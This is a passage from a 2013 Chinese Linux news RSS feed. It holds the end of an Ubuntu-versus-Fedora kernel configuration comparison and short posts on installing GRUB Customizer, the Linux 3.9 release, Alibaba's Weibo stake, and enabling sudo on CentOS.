<p>Ubuntu 将最大可使用内核数设定为 256 而 Fedora 仅为 128；同时 Ubuntu 启用了更多&nbsp;<a href="https://en.wikipedia.org/wiki/Non-Uniform_Memory_Access" target="_blank">NUMA</a>(非一致性内存访问)支持，并且设定了更高 NUMA 可支持数。考虑到 Canonical 打算统一 Ubuntu 桌面版和<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%9c%8d%e5%8a%a1%e5%99%a8" title="服务器" target="_blank">服务器</a></span>版中的内核，Ubuntu 启用这些 SMP 相关的选项完全可以理解。</p>
<p>在计时器中断唤醒次数上 Fedora 设为 1000，而 Ubuntu 设为 250。通常来说较大的值意味着能提供更快的交互响应，更适用于桌面应用；较小的值则更便于服务器能更加专注的完成工作，而非响应中断。不过两者都启用了按需响应，CPU 在空闲时不会被无用的计时器唤醒打扰。未来估计两者都会逐步迁移到 3.10 内核引入的零计时器唤醒，更好的降低休眠时能耗。</p>
<p>同时 Ubuntu 也默认启用了快速无 HZ 选项，增加了内核进入空闲状态的机会，可以减少能耗。Fedora 曾在该选项刚刚引入上游时启用过，但是后续的诸多问题又使其被禁用了。经过几个内核的修订该功能相比当初稳定许多，值得重新考虑。</p>
<h2>默认选择</h2>
<p>Ubuntu 的默认 I/O 调度器为 deadline 而 Fedora 为 CFQ (Completely Fair Queueing)。</p>
<p>默认 CPU 频率控制策略方面，Fedora 遵循常规的为按需调控，而 Ubuntu 则稍显异类为性能优先。</p>
<p>不过这两项都是可以在运行时调整的，这里所说的只是默认设置。</p>
<h2>Linux 安全模块</h2>
<p>Fedora 毫不惊讶的仅仅在内核中启用了对 SELinux 的支持。</p>
<p>Ubuntu 则更为&ldquo;友好&rdquo;的启用了所有安全模块的支持，而不仅仅是它默认支持的 AppArmor。尽管这不会带来任何安全性上的提升，不过这给予了<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e7%b3%bb%e7%bb%9f%e7%ae%a1%e7%90%86" title="系统管理" target="_blank">系统管理</a></span>员在默认安全模块之外更多的选择。</p>
<h2>模块签名</h2>
<p>Fedora 和 Ubuntu 都使用了模块签名，不过在具体应用上则有差异。</p>
<p>Fedora 使用了 SHA256 进行模块签名，因为这是 UEFI 通常使用的校验方式。</p>
<p>Ubuntu 则使用了模块版本，通过在载入模块时比较它的 CRC 与内核中的记录来判断模块是否安全。同时 Ubuntu 也启用了&ldquo;来源版本&rdquo;域，在一定程度上允许针对不同的内核版本编译模块并载入，如果明确知道其对应关系的话。</p>
<h2>遗留系统支持</h2>
<p>相比 Fedora，Ubuntu 启用了更多对异常少见或遗弃的设备、分区和网络的支持，比如 atari 和 sysv68 分区、DECNET 和 ARCNET 网络以及并行 IDE 接口(编者注：Linux 大概在 8 年前就使用 SATA 驱动实现 IDE 支持了)。不过 Fedora 也启用了一些遗留系统的支持，比如 OSS，而 Ubuntu 已经完全禁用它了。</p>
<p>此外 Ubuntu 内核也默认启用了更多的 SoC 支持，比如各种嵌入式领域才能见到的键盘、GPIOLIB、MFD 驱动等，以及 JFFS2 和 F2FS <span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%96%87%e4%bb%b6%e7%b3%bb%e7%bb%9f" title="文件系统" target="_blank">文件系统</a></span>等。这似乎和 Canonical 所说的合并桌面版和服务器版不符（编者注：或许也想涉足 X86 嵌入式？），不过这也意味着 Ubuntu 或许能在某些少见的 X86 SoC 设备上启动起来。</p>
<p>在开源显卡驱动支持方面，Fedora 仅启用了支持 KMS 的那些和少量 FB 驱动，而 Ubuntu 则默认启用了几乎全部。</p>
<p>最后 Ubuntu 默认启用不少处于 Staging 状态的内核驱动。Staging 保存那些由于质量问题而无法进入主线维护的开源驱动，启用它或许带来更广泛的硬件支持，但是其由于质量也对系统稳定性引入了隐患。</p>
<h3>总结</h3>
<p>两者内核在配置上并不存在能导致性能明显差异的部分，不过其中的部分细节值得双方重新审视。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13490.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ubuntu 13.04 安装 GRUB customizer</title>
		<link>http://www.linuxde.net/2013/05/13484.html</link>
		<comments>http://www.linuxde.net/2013/05/13484.html#comments</comments>
		<pubDate>Fri, 10 May 2013 12:03:08 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[软件应用]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13484</guid>
		<description><![CDATA[GRUB是一款GRUB2/BURG&#160;图形界面的配置定制工具软件。 最新版本特点： 移动，删除或重命名 [...]]]></description>
				<content:encoded><![CDATA[<p>GRUB是一款GRUB2/BURG&nbsp;图形界面的配置定制工具软件。</p>
<p>最新版本特点：</p>
<ul>
<li>移动，删除或重命名的菜单项；</li>
<li>编辑菜单项的内容或创建新菜单项；</li>
<li>支持GRUB2和Burg；</li>
<li>重新引导到MBR；</li>
<li>默认<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f" title="操作系统" target="_blank">操作系统</a></span>，内核PARAMS，背景图像和文字颜色等设置；</li>
<li>改变已安装的操作系统上运行的Live CD。</li>
</ul>
<p>通过PPA安装，打开终端，输入命令：</p>
<pre>sudo add-apt-repository ppa:danielrichter2007/grub-customizer
sudo apt-get update
sudo apt-get install grub-customizer</pre>
<p><img alt="GRUB customizer01" src="http://www.linuxde.net/wp-content/uploads/2013/05/120309HRx.png" /></p>
<p><img alt="GRUB customizer02" src="http://www.linuxde.net/wp-content/uploads/2013/05/120311kvv.png" /></p>
<p><img alt="GRUB customizer03" src="http://www.linuxde.net/wp-content/uploads/2013/05/1203132P0.png" /></p>
<p><img alt="GRUB customizer05" src="http://www.linuxde.net/wp-content/uploads/2013/05/120314pwP.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/05/13484.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux 3.9 kernel发布</title>
		<link>http://www.linuxde.net/2013/04/13480.html</link>
		<comments>http://www.linuxde.net/2013/04/13480.html#comments</comments>
		<pubDate>Tue, 30 Apr 2013 15:18:29 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[开源软件]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13480</guid>
		<description><![CDATA[Linus Torvalds宣布发布Linux 3.9 kernel，KernelNewbies目前访问不能。 [...]]]></description>
				<content:encoded><![CDATA[<p>Linus Torvalds宣布发布<span class='wp_keywordlink'><a href="http://www.linuxde.net" title="Linux" target="_blank">Linux</a></span> 3.9 kernel，KernelNewbies目前访问不能。Linux 3.9的主要新特性包括：KVM<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e8%99%9a%e6%8b%9f%e5%8c%96" title="虚拟化" target="_blank">虚拟化</a></span>支持ARM架构；新增设备映射对象dm-cache，该选项可设置将一个驱动器作为另一个储存设备的缓存，如将SSD作为硬盘缓存加快数据写入；Btrfs<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e6%96%87%e4%bb%b6%e7%b3%bb%e7%bb%9f" title="文件系统" target="_blank">文件系统</a></span>支持RAID5/6；AMD显卡驱动支持8500和8600 Radeon HD系列显卡，支持AMD即将发布的 Richland APU ；支持PowerClamp，内核电源<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/%e7%ae%a1%e7%90%86%e7%b3%bb%e7%bb%9f" title="管理系统" target="_blank">管理系统</a></span>支持将所有硬件组件进入深层睡眠状态；用户空间支持接近完成；等等。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/04/13480.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>阿里巴巴以6亿美元收购新浪微博18%股份</title>
		<link>http://www.linuxde.net/2013/04/13478.html</link>
		<comments>http://www.linuxde.net/2013/04/13478.html#comments</comments>
		<pubDate>Tue, 30 Apr 2013 15:11:47 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[IT/互联网综合信息]]></category>
		<category><![CDATA[阿里巴巴]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13478</guid>
		<description><![CDATA[阿里巴巴宣布，计划以5.86亿美元购入新浪旗下子公司微博公司约18%的股份。新浪表示，授予阿里巴巴一项期权，允 [...]]]></description>
				<content:encoded><![CDATA[<p>阿里巴巴宣布，计划以5.86亿美元购入新浪旗下子公司微博公司约18%的股份。新浪表示，授予阿里巴巴一项期权，允许阿里巴巴在未来按事先约定的定价方式，将其在微博公司的全稀释摊薄后的股份比例提高至30%。</p>
<p>一位知情人士表示，这项合作类似于一个合资公司。新浪股价在周一一度飙升15%，至57.74美元，为去年10月以来的最高水平。两家公司周一均表示，将在用户账户互通、数据交换、在线支付等方面展开合作。</p>
<p>新浪表示，与阿里巴巴联盟将在未来三年给新浪微博创造约3.8亿美元的广告和社会化商务服务收入。新浪首席执行长曹国伟表示，电子商务在构筑微博开放平台的生态系统方面将扮演至关重要的角色。<img border="0" src="http://solidot.org.feedsportal.com/c/33236/f/556826/s/2b53ff5c/mf.gif" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/04/13478.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>为CentOS打开了sudo权限</title>
		<link>http://www.linuxde.net/2013/04/13475.html</link>
		<comments>http://www.linuxde.net/2013/04/13475.html#comments</comments>
		<pubDate>Tue, 30 Apr 2013 15:07:57 +0000</pubDate>
		<dc:creator>天明</dc:creator>
				<category><![CDATA[运维管理经验与工具]]></category>
		<category><![CDATA[centos]]></category>

		<guid isPermaLink="false">http://www.linuxde.net/?p=13475</guid>
		<description><![CDATA[用惯了Ubuntu，在执行一些命令的时候sudo&#160;，然后在CentOS上也会习惯性的去sudo，而C [...]]]></description>
				<content:encoded><![CDATA[<p>用惯了<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/ubuntu" title="Ubuntu" target="_blank">Ubuntu</a></span>，在执行一些命令的时候sudo&nbsp;，然后在<span class='wp_keywordlink'><a href="http://www.linuxde.net/tag/centos" title="CentOS" target="_blank">CentOS</a></span>上也会习惯性的去sudo，而CentOS默认没打开sudo着，这也是CentOS比较方便的一个地方，直接root权限，但是就有了一些些安全性问题。</p>
<p>今天还是把这一功能开启了。<br />
	直接命令：</p>
<pre>vi /etc/sudoers</pre>
<p>找到，</p>
<pre>root  ALL=(ALL) ALL</pre>
<p><img alt="为CentOS打开了sudo权限" src="http://cdn.zpc.me/gzwp/2013/04/20130430183319.jpg" /></p>
<p>在下面添加：</p>
<pre>username ALL=(ALL) ALL</pre>
<p>Username为你的用户名。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxde.net/2013/04/13475.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
